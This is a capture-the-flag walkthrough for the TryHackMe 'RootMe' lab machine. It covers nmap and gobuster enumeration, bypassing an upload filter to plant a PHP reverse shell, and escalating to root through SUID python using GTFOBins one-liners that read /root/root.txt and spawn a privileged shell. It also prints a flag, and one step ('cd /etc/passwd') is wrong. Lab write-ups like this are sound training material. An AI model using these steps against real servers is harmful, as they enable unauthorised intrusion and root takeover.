TryHackMe RootMe CTF walkthrough

 

 

 

The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

TryHackMe RootMe CTF walkthrough

While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.

TryHackMe Room :- Click Here

 

RootMe CTF 

 

First we start scanning with nmap and Enumerated the box as normal. You can answer all the questions in task 2 from our enumeration.

 

• nmap -A -T4 -sV -sC -Pn -p- 10.10.162.244
• nmap -A -vv -sV -sC  10.10.162.244

 

 

 

 

Running gobuster to find out the hidden directories

 

gobuster dir -u http://10.10.162.244 -w /usr/share/dirb/wordlists
 

 

 

I then went into the /panel directory of the website and found an upload form. I then uploaded a simple php reverse shell, but with the extension of .phtml as the site would not let me upload a .php file.

 

 

 

 

We can upload contents and the uploaded files can be accessed from /uploads. Using this we can upload a php reverse shell and get code execution on the box.

 

 

Reverse shell

Let us upload a file shell.php with following contents but .php extension is not allowed.

 

 

 

But looks like there is some check in place which dont let us upload a php file.

So I renamed it php-reverse-shell.php5 and uploaded the file again.

 

Click Here to Download a php reverse shell file   after downloading don't forget to change a IP address and file extension with  .php5

 

Like this :-

 

 

 

Getting a reverse shell

Listening on our box on port 1234

 

 

 

Get a Proper Shell

python -c "import pty;pty.spawn('/bin/bash')"  

 

 

 

 

We were placed in the / directory so we needed to know where home was for www-data

 

cd /etc/passwd

 

 

So, we change into /var/www and see the user.txt flag

cd /var/www

ls -la

cat user.txt

 

cd /var/www
ls -la
total 20
drwxr-xr-x  3 www-data www-data 4096 Aug  4 17:54 .
drwxr-xr-x 14 root     root     4096 Aug  4 15:08 ..
-rw-------  1 www-data www-data  129 Aug  4 17:54 .bash_history
drwxr-xr-x  6 www-data www-data 4096 Aug  4 17:19 html
-rw-r--r--  1 www-data www-data   21 Aug  4 17:30 user.txt
cat user.txt
THM{y0u_g0t_a_sh3ll}

 

Now we need to figure out how to get the root.txt flag. Looking for the SUID binaries we see that our favorite scripting language has one set:

find / -user root -perm -4000 2>/dev/null

OR 

find / -user root -perm /4000 

 

find / -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python   <-----------------
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount

 

GTFO

 

Using GTFObins we see a way that we can access files that we normally wouldn't be able to due to permission restrictions.

 

• python -c 'print(open("/root/root.txt").read())'  
• /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'                                                                        
  

                                                                                                       
                                                 

 

 

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